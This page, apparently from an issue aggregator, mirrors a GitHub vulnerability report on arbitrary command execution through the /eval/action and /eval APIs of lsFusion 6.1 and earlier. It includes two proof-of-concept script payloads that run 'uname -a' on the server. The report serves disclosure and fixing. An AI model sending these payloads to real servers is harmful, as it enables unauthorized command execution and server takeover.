Vulnerability: Arbitrary Command Execution in lsFusion ≤ 6.1

Open
#1,546 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
5/5
Estimated time
Over a week
Newbie friendliness
25/100
Issue type
Bug
Clarity
Needs clarification
Activity status
Stale
Tech stack
java
Domain
api, backend, security

Research direction

Start by reading server/src/main/java/lsfusion/server/physics/admin/interpreter/action/RunCommandAction.java and tracing the /eval/action and /eval entry points. Validate both proof-of-concept paths and identify the authorization and command-execution boundaries. The issue provides no proposed remediation, tests, or acceptance criteria, so the required security fix needs to be defined before implementation.

Written by the indexing model from the issue text.

Description

BUG_Author: R1ckyZ

Affected Version: lsFusion ≤ 6.1

Vendor: lsfusion GitHub Repository

Software: lsfusion

Vulnerability Files:

  • server/src/main/java/lsfusion/server/physics/admin/interpreter/action/RunCommandAction.java

Description:

The client accesses the server via the /eval/action and /eval APIs. An authorized user can pass a script parameter to execute scripts. The server exposes functions for command execution, file reading, and file writing. An authorized user can therefore execute arbitrary commands, effectively gaining full access to the server.

Image Image

Proof of Concept:

  1. Access the API /eval/action and pass in the following script value:
{cmd('uname -a', NULL, NULL, TRUE ); }
EXPORT FROM cmdOut[]();
Image
  1. Alternatively, access the API /eval and pass in the following script value:
run() {
cmd('uname -a', NULL, NULL, TRUE );
EXPORT FROM cmdOut[]();
}
Image
Dominant language
Java
Stars
214
Forks
46
PR merge metrics
No merged PRs in 30d

Getting set up

  • Ships a Dockerfile or Docker Compose file
  • No pull request template
  • No contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from lsfusion/platform

All issues in lsfusion/platform

Similar issues

More Java issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.